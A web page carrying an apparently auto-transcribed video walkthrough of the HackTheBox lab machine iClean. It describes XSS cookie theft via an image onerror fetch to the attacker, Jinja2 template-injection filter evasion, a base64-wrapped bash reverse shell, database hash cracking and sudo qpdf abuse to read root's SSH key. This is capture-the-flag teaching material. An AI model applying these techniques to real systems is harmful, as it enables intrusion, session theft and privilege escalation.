HackTheBox - iClean
Key Takeaways
The video demonstrates a cybersecurity attack on a HackTheBox machine, iClean, using various tools and techniques such as Nmap, Burp Suite, and server-side template injection. The attacker gains access to the admin panel, steals cookies, and exploits vulnerabilities to achieve code execution and extract sensitive information.
Full Transcript
what's going on YouTube this is ipag we're doing I clean from hack the box where you're attacking a cleaning company the first step here is gaining access to the admin panel and you can do this by stealing a cookie through cross a scripting thankfully the HTTP only flag is not set which makes the cross a scripting payload really simple once you have access to the admin panel one of the pages is vulnerable to service side template injection the website is running python flask so the most likely language is Ginger 2 however when you're trying to get a paler that does rce you'll discover there is a filter or web application firewall blocking some request so you have to do some late evasion in order to get a shell on the box with that shell you discover that you have pseudo access to a program called qpdf it's probably what they use to build the um PDF invoices for their clients and looking at the man page for qpdf you can see that you can attach files to the PDF so you can use this pseudo rule in order to attach the flag or SSH key with that being said let's jump in as always we're going to start off with the N map so- SCC for default scripts SV enumerate versions - VV for double verost this gives us the TTL and things like that o08 output all formats put in the end map directory and call it I clean then the IP address of 10101 11.12 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one is SSH on Port 22 and it's Banner tells us it's an auntu server we also have HTTP on Port 80 it's Banner tells us it's Apache running on Ubuntu and we don't have much information other than that so let's just go take a look at the site so I'm going to go to 1010 11.12 and it redirects us over to copy clean. htb so let's go take a look at um that virtual host so I'm going to add it to my host file we can do 10 10 112 cycle. htb and then refresh the page and we get looks like a website of a cleaning service so there is a login that's the first thing I'm going to click and then we can try like admin admin to see if that works we get invalid username or password I don't see any type of registration I also want to look at the headers just to see if that exposes anything about the site maybe it'll have like the cookie name or things like that that can expose like what framework I'm looking at so I'm going to send it look at the headers and we see the server is work Zug on python so I'm going to guess this is going to be a flask application um we could try getting what is it administrator which is for Jango so we could do like administrator and we don't get it the other indication why I thought flask right away other than the server header is if it was D Jango I would probably see other HTTP headers it likes putting some like cross- site request forgery ones um a cookie I would expect this looks like a minimal web page which is why I thought flask so let's go just back to the page and I want to have some type of Recon going in the background so I'm going to run a gobster so we do Guster Dr HTTP capy clean. htb word list op secc list Discovery um web content raft small words. text there we go you okay we probably should do a out file is it- O out file we'll call it Guster rout there we go so what I want to look at is any place I can send user input to this website we have uh get a quote we have a few names we could have played more with that like login functionality um it said invalid username or password but maybe if I gave it m Pikes it would say invalid password um all the socials look like they just go nowhere uh we have contact at Cy clean is this all one page uh looks like some various Services if we go to the GTO quote it looks like we can send things so this looks like a contact type form so let's make sure we intercept this request and I'm going to click submit and I did not send that through bur so let's send this okay and it looks like for every service it's just writing it um it gives our email so I'm guessing this is a contact form and it's just saying we want a quote for carpet cleaning and tile and grout now since we looked at the result of this page um let me just send this to repeater it doesn't like show any information back to us but um we can still test for things like cross-site scripting by just putting like a image link right um I'm just going to do a netcat listener on Port 8000 and then we'll go over to repeater now in most videos when you see me testing for CR scripting I normally test with like the Bold parameter and see if the website filters that but again no data is fil uh reflected back to us so I'm just going to try a image source is equal to http 10148 Port 8,000 and then we can just close out the image okay that looks fine I'm going to URL en code this I don't think there's any bad characters but better safe than sorry and it looks like we're just playing the waiting game to see if anything clicks and goes back to us so is there anything else we can look at on the page so the contact form goes nowhere so that's just a dead link the team so it looks like each of these links is part of this a single web page it's just instead of like using an anchor and scrolling directly to it it has a separate page so nothing too interesting there if we go back to our netcat listener we can see the Box did reach back out to us um there we go referral 1271 3 Port 3000 so it looks like the application is listing on Port 3,000 of the local host and we have the user agent here so what I want to do now is see if um we can steal any cookies this is generally the first thing I test for with crossr scripting normally I don't get lucky with it because the HTTP only is set on the cookie which prevents this but it only takes a second to test for so it's one of the things I always like testing for right so we going to change your thing to say image source is equal to X and I'm just going to say on error is equal to fetch and then we're going to add document.cookie and we have to URL en code this if we don't it'll just be treated as a space and that would be bad JavaScript right so let's just URL encode that plus and I think this is good right let's just send this um I probably should add a K on that the K is going to keep it open so anytime it makes a request to us if it makes a second one it will still um work right right let's see now what else do we want to look at the page is done oh we have the cookie already so we have a connection from 10 10 11 12 and we get a session now this may look like a JWT but this is probably just a flask cookie and I tell that right away by the middle parameter being super small um in JWT this one would be much longer right so the data in a flas cookie is the first piece so we can just view what it is so let's do Echo DN base 64- D not 65 64 and we have roll is equal to this um string that looks like 32 characters let's just do Echo dasn wc- C that is so that's probably G to be an md5 some something um if we Google it it looks like it is the md5 suash for admin so the RO is set to admin let just uh set a cookie to that right let's go back D scroll away so we do session and then this so I'll copy this let's go over to our browser um I'm actually going to go on that Services page because there's something here that uh sometimes gets me when I always forget about this so let's go ahead and add this cookie so I'm going to go into my storage tab then we can click the plus and then what is it session make this bigger put the value and then if we go back to the main page there's nothing different we still have this login right now there is one thing about this cookie and that is the path it's set to only work on Services because that's the page I was on when I added it right so if I intercepted this request so we go to proxy intercept on send this I'm not sending any cookies because again the path is just set right so whenever mainly adding cookies and Firefox um you always want to test for that path and set it to slash so now if we send this we also are sending the cookie and we still just get to the login I expected it to redirect us to wherever a logged in user goes to uh we can look at gobster again to see if there's anything um log out sends a302 dashboard sends a302 that is a redirect to to slash I'm guessing dashboard is what we want so let's go and take a look at dashboard and then we have a few functions we can generate invoice generate QR edit service and quote request so for generating invoice um let's just test for ssti so this is python it's probably going to be Ginger 2 uh this looks like a max length so I can't put a 7 * 7 so we'll just do that there there there it probably actually wants an email address uh let's turn intercept on generate and where is the quantity put that there send it we got an invoice number so we go to generate QR invoice ID edit service quote request so let's enter the invoice ID we get a link here that goes to a QR it wants us to insert the QR link maybe I can just do invoice ID and we get this uh the quantity is 77 so it did not perform any type of math right we inputed the parameter 7 * 7 and what I would expect is either 49 or if for some reason one of those sevens was treated as a string it would be 1 2 3 1 2 3 4 like these things would indicate some type of code was ran but it just being 77 I think it just stripped out the special characters right so 49 doesn't really or 77 doesn't surprise me uh looking at email that looks fine 77 everywhere else the QR code is blank there uh we could edit Services let's see is anything here 13789 that doesn't look like it reflects I don't know what edit services does if we look at the source code where that QR code is let's see QR code we see base 64 36562 this is the order ID so it just reflected the order ID right where that Bas 64 is so the first thing I did is um tested for um or put the whole Link in actually so we can copy this link paste it and then if we look we have an actual QR code now and again it's doing that image PNG base 64 so the first thing I tested for was um what is it cross site request forgery I think is the right terminology I'm trying to make the page or server side request forgery that's what I meant to say ssrf I try to make the server maker request back to me right I put a URL it got the actual QR code so what I'm going to do is um put my IP so 101048 Port 8000 send this that is blank and the server never reached back out to me so there may be some type of filter there that is um checking the link before it actually goes to it I'm not exactly sure the one thing we learned from the fishing is the server also listened on 1271 Port 3000 so that's something else I can try so we can try this to see if it actually gets a cure Cod image and it doesn't so it looks like that filter does need to have copy clean in it I'm guessing because this should work from the server again um we saw that was set with the uh referral where is it right here that's how this um cookie stealer was working so the other thing we could test for is putting um ssti in the QR code right so we do submit we look at where the QR code is and we get 49 so we have valid ssti here so let's go find a payload so I'm going to go Google ssti um payload all the things and let's see service side template injection Ginger 2 go to basic injection it's talking about this the other thing we can do is dump the config so let's go back here config items go to the Q our [Music] code and see if there's anything interesting here uh we may want to just actually view the source code and let's see debug is set to false so we see all the key and item so this is a secret key this probably used to sign the cookies let see permanent session lifetime server name doesn't look like there's anything interesting here um being able to sign cookies is nice but we're already in admin uh the other thing sometimes you can find is like database credentials I don't see anything in here so let's go and try another uh payload this time let's try getting code execution on the box through ssti so let's go to payload all the things and let's see where's the first one that gives us a thing I guess we can try reading files right so let's go back here let's see let's just close some windows so it's a bit quicker send this we get an internal server error so it did not like this payload um let's see is the one that will just run a command right here OS open read send this we also get an error so it looks like all the like complex um ssti are failing but when we kept it simple at like 7 * 7 or dumping the config it worked so at this point I'm going to look for um bypassing a lot of filters and this payload relatively complex uh let's go and paste it in actually I think it's just running ID so let's look at it okay so we have this we want to put our shell right here where it says ID so let's go and um build that I'm going to do eo-n B- I Dev TCP 10 10 148 9,10 and one base 64 encode it and I'm also going to get rid of the special characters which is pluses because I I really hate dealing with URL encoding so doing that gets rid of all the special characters just adding those two spaces so we can copy it and then go here where the payload is I'm going to say oh God we'll do Echo dasn paste this in then base 64 4-D and then pipe it over to bash okay so we can C the payload copy it and then let's stand up a listener and we'll go over and send this payload submit the server is taking a while to respond because we got a shell so let's upgrade this real quick so we can import PTY PTY spawn B Bash s2i raw minus Echo foreground what's going on this is it from the future and I want to put a segment here just understanding exactly how this evasion is working because if you ever get into a situation where you're evading some type of uh rule based detection and you're grabbing stuff from the internet chances are there's probably a rule made for the thing you grab from the internet and it won't work so you need to understand how the evasion works so you can tweak it slightly and bypass the new signatures made so let's take a look at this right um we're going to just run this manually through a flask application and kind of understand what's going on but the 5fs this is really just underscores it's just how to handle encoding in Python but I have created a quick flask app here we can just see it's going to have a page on Route and we're just going to set a breakpoint soon as it gets hit right so that will allow us to get into a debug mode of where flask is so let's run this app so we'll do Python 3 app.py and then I'll just C Local Host 5000 and we get here so what they're doing is getting into the request object so the request objects passed into Ginger 2 and everything because if you wanted to grab like an argument you'd get like the args out of it and we could go or pram right I think pram is also here maybe um but this is how you get arguments what the user sent into to your Ginger template now because we're passing the whole request uh is it a class request class we have access to other things right so this whole uh pipe attribute thing that's just getting the application so if we do request. application right here and then it's going to go and get globals so we go and grab globals and in Python when you access the globals from here we can kind of just do a chain to um import things and right here they're doing attribute get items because we're not going to do a period because it's item we're getting an item out of the globals right uh what is global this is a dictionary so we want to grab the built-ins right yep the built-ins and again I did not put a period there because again it was the get item and let's just keep it single quotes because that's what the payload does but it really doesn't matter what quotes you do so now we're in globals and then or builtins and what we want to do is a get item so we're going to do it in Brackets and we grab import so we're going to grab this import and now we're in the function import and what they're going to do is call Osos so we imported OS and I want to say it's just uh poop uh the command we want so we can do id. read is that it there we go so in Python whenever you have a string you can replace like this so is it 5f they did that still works because that is a underscore now you could also do uni code so like back slash u5f in case there was a filter around XX we can go to UNI code we could also go into octal form so if we did a man asky look at Uni underscore that was hex that's decimal we could probably refer it to as decimal as well we have octal form 137 so if we wanted to we could go back slash 137 instead of those underscores and get that working as well right um there is going to be one weird catch um in Python and you almost never run into this if for some reason you didn't have the request object um all functions in Python I believe also expose globals so we could kind of work with it from the function as well so if we just do the function of root because um if we go in code cat my app we're broke right here so we know this is the function right so if we go root globals um if I can spell correctly that works and then we want to go into builtins so we're just going to kind of replay the payload from above we're going to run into an error I think right here there's no import and that's going to be mainly because root is a function and this is the first time I've ever found like a difference between a function and Method right when um Quest application application was a method so where do we want to go we want to get into import so if we do a here we can see import here so instead of treating it like a um item it's just not right that's the only difference so where is the full payload we had working let's go here so we'll doore import um osop ID read get rid of the DI and that works so if you wanted to look at this there's one other just small interesting tidbit if you stepping through this and we did root builtins we eventually solve this with the DI Command right we saw import there if we did dir on um what is it request application we don't see an import and that's again because this is now a dictionary and when we do it as a function it's a module so python under the hoods behaves slightly differently um because that is a dictionary you shouldn't enumerate it with just um dir you can do keys and import should be a key right import error there it is up here but yeah that is how this evasion is working um the whole attribute thing again uh this is I want to say imported by Ginger 2 the reason why I'm not showing it is because my simple flask G um just doesn't have that imported but you can replace those pipes with periods um that's probably escaping the need to do square brackets right there's a bunch of ways you can do evasion so hope you guys enjoy that let's get back to the box and looks like our terminals already set that's awesome so we can clear the screen and whenever I um get a shell I do always like just going back to the web server making sure I'm not hanging it and the server still responds cuz every now and then when you um run a request like this that just hangs the response uh you could hang the server especially when you see it's running straight to Works Zug python right but looks like the server is configured well so let's see what can we do here generally whenever I land on a um web app I always look for like any type of database we saw there was a login functionality so I know there is a database um doing lsls I'm looking for like an environment file or a config file looking at EnV to see if um my SQL information is put in the environment because that's generally how web services like working but I don't see anything there so let's just look at app.py and see oh we have it right here DB config so we have I clean is the user and the password is that so let's do a my SQL D i-p paste in the password uh show databases use copy clean uh show tables we can do select star from users okay so we have two users I don't know what role this is maybe guest or customer uh we could just Google that md5 and see what it says uh does this did it have a result copy hat it's user so okay let's just do select username password from users we can copy these two and then V hashes do out paste this in let's put in a format that we like better I'm going to get rid of all the spaces uh we can get rid of any line that starts with a pipe get rid of any line that ends with the pipe and then we will replace the pipe with a colon there we go so what we want to do is see um what type of hash this is so we can Echo dasn WCC 64 is that like a sha one sum Echo one sum looks like it o print one WCC 41 it's probably a shot 256 Su it is um let's see so let's go over to crack station and just see if um we can get any hits on this so going to crack station let's turn my dark mode on that looks better copy that I'm going to copy the admin as well normally I'd go straight to like hashcat but um when you just dealing with straight hashes you can always just use crack station first to get a quick win um maybe with this capture it's not as fast as just doing it manually we got one hit 0 a29 and that is Simple and Clean so that is going to be cons uh consella so vhes just going to put that and then we can say s consella at 10 101 was it 12 paste it in and we get on the box if I do a lsla we got user. text there not much else we can do a pseudo- l paste in the password and we can run qpdf as um rout so checking gtf oin let's see if there's anything for qpdf does not look like it which doesn't surprised me GTFO bins is mainly just things that come on a system right uh qpdf is potentially a custom binary let's see qpdf read the docs okay um there is a ad attachment file so this is probably going to be what we want to do let's see how do we use Q PDF uh let's just do d-el uh equals usage okay let's see qpdf infile options out file okay help equals add attachment file name okay so we have to get a PD f file so let's just do find dname star.pdf PPE it over to devn we have a PDF here so we can use this as the in file so I'm going to CP let's actually go to Dev shm we can copy this to um in.pdf and let's just do what is it qpdf in.pdf of dash dash let's see it's add attachment and then we can say file name uh let's do Etsy passwd first and then the out file will do out PDF file name must be given as file name is equal missing two dashes no file specified let's see qpdf ad attachment let's see how to do this add attachment oh just the file name okay and we can do list attachments and show attachments so let's try list attachments attachment oh I don't give it a n file that's me probably not being able to spell okay we got pass WD so we do show ATT attachment equals pass WD we can read that so let's now try adding a different thing so let's do add attachment and we can add root S ID or sa see if the S key is there um oh we have to do a sudo um we can't write to out PD F because consell probably owns it let's just delete that recreate it and let's see can we do show attachment Now where's list there we go so show attachment ID RSA we get the SSH key let us add this so we'll call it Ro . ID RSA paste it in get rid of that trailing line break sod 600 sh- I root at 10 10 11 12 and we rooted the box so hope you guys enjoyed that take care and I'll see you all next time
Original Description
00:00 - Introduction
01:00 - Start of nmap
02:00 - Taking a look at the website
04:00 - Testing the Get a Quote feature for XSS
06:30 - Weaponizing the img src xss test by adding fetch to attempt to exfil the cookies
10:00 - Looking at the dashboard and seeing what features are available
13:00 - Discovering SSTI in the QR Code Feature, can do basic SSTI but any complex fails without any evasion
18:30 - Explaining the SSTI Evasion with Jinja2/Python
25:45 - Shell returned on the machine, discovering Consuela's password in MYSQL
29:45 - Consuela can run qpdf as rood, looking at the man page and discovering it can attach files
Watch on YouTube ↗
(saves to browser)
Sign in to unlock AI tutor explanation · ⚡30
Playlist
Uploads from IppSec · IppSec · 0 of 60
← Previous
Next →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
HHC2016 - Analytics
IppSec
HackTheBox - October
IppSec
HackTheBox - Arctic
IppSec
HackTheBox - Brainfuck
IppSec
HackTheBox - Bank
IppSec
HackTheBox - Joker
IppSec
HackTheBox - Lazy
IppSec
Camp CTF 2015 - Bitterman
IppSec
HackTheBox - Devel
IppSec
Reversing Malicious Office Document (Macro) Emotet(?)
IppSec
HackTheBox - Granny and Grandpa
IppSec
HackTheBox - Pivoting Update: Granny and Grandpa
IppSec
HackTheBox - Optimum
IppSec
HackTheBox - Charon
IppSec
HackTheBox - Sneaky
IppSec
HackTheBox - Holiday
IppSec
HackTheBox - Europa
IppSec
Introduction to tmux
IppSec
HackTheBox - Blocky
IppSec
HackTheBox - Nineveh
IppSec
HackTheBox - Jail
IppSec
HackTheBox - Blue
IppSec
HackTheBox - Calamity
IppSec
HackTheBox - Shrek
IppSec
HackTheBox - Mirai
IppSec
HackTheBox - Shocker
IppSec
HackTheBox - Mantis
IppSec
HackTheBox - Node
IppSec
HackTheBox - Kotarak
IppSec
HackTheBox - Enterprise
IppSec
HackTheBox - Sense
IppSec
HackTheBox - Minion
IppSec
VulnHub - Sokar
IppSec
VulnHub - Pinkys Palace v2
IppSec
HackTheBox - Inception
IppSec
Vulnhub - Trollcave 1.2
IppSec
HackTheBox - Ariekei
IppSec
HackTheBox - Flux Capacitor
IppSec
HackTheBox - Jeeves
IppSec
HackTheBox - Tally
IppSec
HackTheBox - CrimeStoppers
IppSec
HackTheBox - Fulcrum
IppSec
HackTheBox - Chatterbox
IppSec
HackTheBox - Falafel
IppSec
How To Create Empire Modules
IppSec
HackTheBox - Nightmare
IppSec
HackTheBox - Nightmarev2 - Speed Run/Unintended Solutions
IppSec
HackTheBox - Bart
IppSec
HackTheBox - Aragog
IppSec
HackTheBox - Valentine
IppSec
HackTheBox - Silo
IppSec
HackTheBox - Rabbit
IppSec
HackTheBox - Celestial
IppSec
HackTheBox - Stratosphere
IppSec
HackTheBox - Poison
IppSec
HackTheBox - Canape
IppSec
HackTheBox - Olympus
IppSec
HackTheBox - Sunday
IppSec
HackTheBox - Fighter
IppSec
HackTheBox - Bounty
IppSec
More on: Security Basics
View skill →Related Reads
Chapters (10)
Introduction
1:00
Start of nmap
2:00
Taking a look at the website
4:00
Testing the Get a Quote feature for XSS
6:30
Weaponizing the img src xss test by adding fetch to attempt to exfil the cooki
10:00
Looking at the dashboard and seeing what features are available
13:00
Discovering SSTI in the QR Code Feature, can do basic SSTI but any complex fai
18:30
Explaining the SSTI Evasion with Jinja2/Python
25:45
Shell returned on the machine, discovering Consuela's password in MYSQL
29:45
Consuela can run qpdf as rood, looking at the man page and discovering it can
🎓
Tutor Explanation
DeepCamp AI